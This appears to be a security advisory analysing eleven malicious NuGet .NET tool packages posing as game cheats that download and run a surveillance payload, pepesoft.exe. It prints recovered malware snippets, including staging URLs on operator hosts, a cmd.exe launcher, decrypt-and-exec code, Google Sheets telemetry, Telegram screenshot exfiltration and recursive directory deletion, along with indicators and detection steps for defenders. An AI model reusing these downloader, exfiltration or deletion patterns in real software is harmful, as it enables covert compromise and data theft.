CVE
Not assigned
CWE
CWE-506, CWE-494, CWE-200, CWE-829
Affected Surface
- Confirmed malicious NuGet tool package IDs: `albion-x-x`, `amazing-x-x`, `calc-x-x`, `grandrp-x-x`, `gta5rp-x-x`, `l2-x-x`, `majestic-x-x`, `rmrp-x-x`, `rusfish4-x-x`, `throne-x-x`, and `trigger-x-x`
- Windows developer workstations or user systems that installed any of the packages with `dotnet tool install` and executed the exposed command
- Hosts where the staged `pepesoft.exe` payload could inherit downloader-supplied environment variables, reach the Cloudflare Worker or Selcloud S3 fallback, and write telemetry to operator-controlled Google Sheets
- The direct-bytecode Albion, Calculator, and Throne variants, which additionally expose Telegram screenshot handlers, richer host inventory, and cleanup routines that can delete local files
The newest package-registry incident that does not already exist in this repo is not another typosquatted library hidden in a normal dependency tree. It is a reminder that .NET tools distributed through NuGet are already executable software supply-chain boundaries. Public research published on 14 July 2026 ties 11 malicious DotnetTool packages to a shared downloader that stages a Windows payload named pepesoft.exe, feeds it cloud configuration through inherited environment variables, and then uses Google Sheets, a Cloudflare Worker, and Telegram as operator infrastructure.
At first glance the lure looks far away from enterprise AppSec because the package themes are Albion Online, GTA roleplay servers, and other game-cheat branding. The technique is not niche. A DotnetTool package is a packaged executable path that developers can install and trust with one command. Once the user runs the registered command, the tool’s bundled assembly executes with the same user context as any other developer utility. That makes this a useful case study for any team that still treats “tooling from a package registry” as lower risk than runtime dependencies inside a production application.
Confirmed affected package set
The public package set is stable across reporting and maps cleanly to one operator toolchain:
| Package ID | Theme | Staged release tag / target string | Notable variant behavior |
|---|---|---|---|
albion-x-x | Albion Online utility | albion.onlinepanel | Direct-bytecode payload with Telegram screenshot handlers |
amazing-x-x | Amazing RP utility | amazing.rp | PyArmor-protected payload |
calc-x-x | Calculator-themed utility | calculator | Direct-bytecode payload with Telegram screenshot handlers |
grandrp-x-x | GrandRP utility | grandrp.su | PyArmor-protected payload |
gta5rp-x-x | GTA5RP utility | gta5rp.com | PyArmor-protected payload and shared ban-list spreadsheet |
l2-x-x | Lineage 2 utility | lineage2panel | PyArmor-protected payload |
majestic-x-x | Majestic RP utility | majesticpanel | PyArmor-protected payload |
rmrp-x-x | RMRP utility | rmrp | PyArmor-protected payload |
rusfish4-x-x | Russian Fishing 4 utility | russianfish4 | PyArmor-protected payload |
throne-x-x | Throne and Liberty utility | throne | Direct-bytecode payload with Telegram screenshot handlers |
trigger-x-x | Trigger-bot utility | trigpanel | PyArmor-protected payload |
That list matters for defenders because the campaign is not one package with one dropped binary. The downloader logic is repeated across eleven package IDs, each branded for a slightly different audience but wired to the same staging and control patterns.
Why this matters to AppSec teams
NuGet’s DotnetTool package type is effectively an installable executable wrapper, not just a passive library. A normal flow looks like this:
dotnet tool install <package>
-> restore package contents under the user's tool cache
-> expose a console command
-> run bundled assembly through dotnet
That means a malicious tool does not need to wait for your application to call some obscure API surface. The attacker only needs the operator to run the command once. In this campaign the command execution boundary is enough to:
launch downloader
-> resolve staging hosts
-> fetch pepesoft.exe
-> set inherited cloud-config environment variables
-> execute the second-stage payload
This is exactly why “it was only a developer tool” is poor triage language. Developer tools sit next to source code, browser SSO sessions, SSH agents, package tokens, cloud credentials, and internal documentation. Even when the lure theme is consumer-looking, the package-distribution technique is enterprise-relevant.
Stage 1: the NuGet tool is a downloader, not the final payload
Each malicious package carries a downloader assembly under tools/net8.0/any/, alongside bundled copies of Colorful.Console, MonoTorrent, and Mono.Nat. Public reverse engineering shows the same rough first-stage behavior in every package:
- print updater-like Russian status text
- create a named mutex to prevent duplicate runs
- in
10of11samples, request elevation and force a Windows time resync - resolve GitHub hosts over DNS-over-HTTPS instead of the system resolver
- try Hugging Face first, then GitHub Releases, then a dormant torrent path
- write the downloaded payload under a local
./_directory - launch the payload through
cmd.exe /C
The mutex is one of the cleanest code-level linkages across the package set:
string name = "Global\\{5BD61028-3D9C-4B4E-AD45-CA4F1B35D0F4}";
Mutex mutex = new Mutex(initiallyOwned: true, name, out createdNew);
if (!createdNew) {
Console.WriteLine("Программа уже запущена");
Environment.Exit(0);
}
The clock-resync step is not a gimmick. It is a privilege-sensitive preflight meant to reduce TLS or certificate failures on machines with clock skew:
var startInfo = new ProcessStartInfo
{
FileName = "powershell.exe",
Arguments = "-NoProfile -WindowStyle Hidden -Command \"Start-Service w32time; w32tm /resync\"",
UseShellExecute = true,
Verb = "runas",
WindowStyle = ProcessWindowStyle.Hidden
};
The downloader also deliberately bypasses the ordinary Windows resolver for GitHub hostnames:
if (host.Contains("github", StringComparison.OrdinalIgnoreCase))
{
string requestUri = "https://dns.google/resolve?name=" + host + "&type=A";
using JsonDocument doc = JsonDocument.Parse(
await dnsClient.GetStringAsync(requestUri, cancellationToken));
// first A record is then used for the outbound connection
}
That is not a full network-evasion silver bullet, but it does matter operationally. It can bypass simple hosts-file entries or local DNS sinkholes that defenders sometimes use to block package-delivered staging.
The downloader injects configuration into the child process
One of the more interesting engineering decisions is how the downloader passes cloud configuration into pepesoft.exe. The public analysis shows three inherited environment variables:
AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY
AWS_CONFIG_KEY
The third value points at a Cloudflare Worker URL, while the first two are AWS-style keys. The code pattern is important because it keeps the second-stage payload flexible without hard-coding every control value directly into the executable:
NuGet tool
-> set env vars
-> launch pepesoft.exe
-> child process reads cloud config from inherited environment
That is a useful pattern for defenders to remember. Malicious registry tooling increasingly behaves like loader infrastructure, where the first stage is just responsible for staging, configuration, and persistence rather than data theft itself.
Multi-source staging: Hugging Face, GitHub Releases, and dormant BitTorrent code
The downloader’s source list is unusually explicit:
string hfUrl = "https://huggingface.co/buckets/pepegit666/albion.onlinepanel/resolve/pepesoft.exe?download=true";
string githubUrl = "https://github.com/pepegit666/123f53y45ysdf34/releases/download/albion.onlinepanel/pepesoft.exe";
string magnetLink = "";
That sequence matters for triage:
- Hugging Face is the first preferred staging path.
- GitHub Releases is the second path.
MonoTorrentand related routines are present, but the observedmagnetLinkvalue is empty, so the torrent branch is dormant in the recovered samples.
The execution path is also straightforward enough that defenders should not overcomplicate it:
var startInfo = new ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = "/C \"\"" + reconstructedFileName + "\"\"",
UseShellExecute = true
};
Process.Start(startInfo);
If the package command ran, the response question is not “could this maybe have been benign updater logic?” A legitimate NuGet tool does not need to fetch pepesoft.exe from off-registry staging and launch it under cmd.exe.
Stage 2: pepesoft.exe is a Python payload with telemetry, host binding, and control features
The second stage is a PyInstaller-packed Python application. In the Albion, Calculator, and Throne variants, the top-level code reconstructs encrypted Python source and executes it dynamically:
decrypted_code = fernet.decrypt(encrypted_data).decode("utf-8")
exec(decrypted_code)
That exec path is already enough to treat the host as compromised, but the surrounding behavior is what makes this article relevant beyond malware classification.
The recovered source shows the payload pulling remote configuration through the Worker URL first and then falling back to S3-compatible object storage:
access_key = os.environ.get("AWS_ACCESS_KEY_ID")
secret_key = os.environ.get("AWS_SECRET_ACCESS_KEY")
worker_url = os.environ.get("AWS_CONFIG_KEY")
async def get_file_via_proxy(filename="service.json"):
async with aiohttp.ClientSession() as session:
async with session.get(f"{worker_url}/{filename}") as response:
return await response.json() if response.status == 200 else None
async def init_s3_main():
service_config = await get_file_via_proxy("service.json")
if not service_config:
s3_client = S3Client(
access_key,
secret_key,
"https://s3.ru-3.storage.selcloud.ru",
"zfile"
)
service_config = await s3_client.get_json_file("service.json")
For AppSec teams, the key point is that the second stage is not just a one-shot screenshot stealer. It is a configurable client that can read operator state remotely and continue working across multiple fallback channels.
Google Sheets is not just telemetry here; it is part of the control plane
The confirmed sink across the recovered payloads is Google Sheets. The operator uses service-account credentials to open shared spreadsheets, per-game product sheets, and a shared banned worksheet.
The code-level behavior is closer to a crude SaaS control plane than to a simple beacon:
updates = [
(row_number, 15, sys_info["cpu"]),
(row_number, 16, sys_info["memory"]),
(row_number, 17, sys_info["disks"]),
(row_number, 21, sys_info["network"]),
]
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
updates.append((row_number, 18, "Да" if is_admin else "Нет"))
for update in updates:
sheet.update_cell(*update)
Public analysis attributes the following fields to the telemetry and licensing flow:
hardware-derived PC identifier
username and hostname
GPU / CPU / motherboard profile
screen resolution and scaling
network connection counts
IP and coarse geolocation
activation key and runtime status
That information has two defensive implications:
- the operator can inventory repeated executions on the same host
- the malware has enough host context to decide whether a machine is worth keeping enabled, banning, or interacting with
The ban list and hardware binding create a server-side kill switch
The payload does not treat machines as anonymous. It binds activations to hardware IDs and checks a remote spreadsheet to see whether a device should be suspended:
banned_list = client.open("GTA5RP").worksheet("banned").col_values(1)
for banned_data in banned_list:
if banned_data.strip() and (banned_data == current_hwid or banned_data == current_uuid):
return True
That is a meaningful design choice. The same actor infrastructure that sells or manages the tool can selectively disable individual installs. In other words, the Google Sheets backend is not merely a dump target; it is an operator control surface.
Three variants expose Telegram-driven screenshot paths
The most directly invasive features were confirmed in the Albion, Calculator, and Throne variants. Those direct-bytecode builds contain aiogram handlers that accept chat IDs after /start and expose screenshot commands such as /screen and /pscreen.
One of the screenshot paths is simple and effective:
screenshot = pyautogui.screenshot(region=(
gta_window.left, gta_window.top,
gta_window.width, gta_window.height
))
screenshot.save("./libgg/screenshot_test.png")
file = FSInputFile("./libgg/screenshot_test.png")
await message.reply_photo(file)
Another path captures the entire screen:
screenshot = pyautogui.screenshot()
screenshot.save("./libgg/disconnect_screenshot.png")
file = FSInputFile("./libgg/disconnect_screenshot.png")
await message.reply_photo(file)
That matters beyond the game-cheat story because screenshot exfiltration is content-agnostic. If a browser session, password manager, cloud console, wallet seed phrase, internal chat, or build secret is visible when the command fires, the data leaks as pixels even if no classic keylogger is present.
Some variants also modify host state and delete local files
The direct-bytecode builds also include exit handlers that reach outside their own runtime state. Publicly recovered code removes Windows Installer policy values and conditionally deletes local files and directories.
The registry path touched is:
HKLM\Software\Policies\Microsoft\Windows\Installer
And the cleanup logic can recursively remove subdirectories under the working directory:
for /d %%d in (*) do (
rmdir /s /q "%%d" >nul 2>&1
)
powershell -Command "Get-ChildItem -Directory | ForEach-Object { Remove-Item -LiteralPath $_.FullName -Recurse -Force -ErrorAction SilentlyContinue }"
The important operational lesson is not whether the actor intended this as anti-forensics or a convenience cleanup feature. It is that a package-delivered tool now has code paths that can modify machine policy and delete local content.
Shared infrastructure proves this is one campaign, not eleven unrelated packages
The same operator identifiers run through the entire set:
- GitHub and Hugging Face staging under
pepegit666 - GitHub Releases repository
pepegit666/123f53y45ysdf34 - Cloudflare Worker
calm-voice-9797.888c888x888.workers.dev - Selcloud S3 fallback
s3.ru-3.storage.selcloud.ru - storefront
bots.pepesoft.ru - Telegram channel
t.me/pepesoft777 - shared mutex
Global\{5BD61028-3D9C-4B4E-AD45-CA4F1B35D0F4}
One especially clean linkage is that the hardcoded access key mirrors the mutex GUID without dashes:
mutex GUID: 5BD61028-3D9C-4B4E-AD45-CA4F1B35D0F4
access key: 5bd610283d9c4b4ead45ca4f1b35d0f4
That kind of implementation tell is exactly what incident responders can use to cluster seemingly separate package IDs into one activity family.
Detection and scoping
Start by enumerating local and manifest-based .NET tools:
dotnet tool list --global
dotnet tool list --local
rg -n "\"(albion-x-x|amazing-x-x|calc-x-x|grandrp-x-x|gta5rp-x-x|l2-x-x|majestic-x-x|rmrp-x-x|rusfish4-x-x|throne-x-x|trigger-x-x)\"" \
.config/dotnet-tools.json .
Then look for the shared filesystem and infrastructure markers:
rg -n "pepegit666|calm-voice-9797\\.888c888x888|selcloud|bots\\.pepesoft|pepesoft777|AWS_CONFIG_KEY|5bd610283d9c4b4ead45ca4f1b35d0f4" \
"$HOME" /tmp /var/tmp .
On Windows systems, hunt for the paths and artifacts called out in public analysis:
./_/
./libgg/chat_ids.txt
%LOCALAPPDATA%\Windows Src\
%APPDATA%\pepesoft\
pepesoft.exe
disconnect_screenshot.png
Behavioral signals are just as important as file indicators:
dotnet-launched tools spawningpowershell.exewithw32tm /resync- .NET processes querying
https://dns.google/resolve - outbound access to the Worker, Selcloud S3, or
pepegit666staging paths - unexpected Google Sheets API traffic from a locally installed developer tool
Response guidance
If any of the 11 package IDs were installed and executed:
- uninstall the tool and remove any restored copies from package caches and tool manifests
- treat the affected Windows host as compromised, not merely exposed to a suspicious package
- rotate credentials visible or accessible on that host, including browser sessions, package tokens, cloud credentials, and any secrets entered into the tool
- block the staging and control infrastructure listed above and review historical egress for those indicators
- for Albion, Calculator, and Throne infections, assume screenshots may have exposed arbitrary on-screen content in addition to host telemetry
The broader lesson is simple: developer tooling registries are executable distribution channels. The lure theme here was game cheats, but the mechanics are the same ones an attacker could use against internal .NET helpers, CLI wrappers, build utilities, or one-off ops tooling. If a package manager can install it as a tool, AppSec should model it as code execution from the moment the command is run.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Socket: 11 Malicious NuGet Tools Pose as Game Cheats to Drop a Windows Host-Surveillance Payload
- CyberPress: 11 Malicious NuGet Packages Pose as Game Cheats to Deploy Windows Surveillance Malware
- CybersecurityNews: Gamers Download Fake Cheats and Hand Attackers a Live Remote Control of Their Windows PCs
- Microsoft Learn: .NET tools overview
- CWE-506 Embedded Malicious Code
- CWE-494 Download of Code Without Integrity Check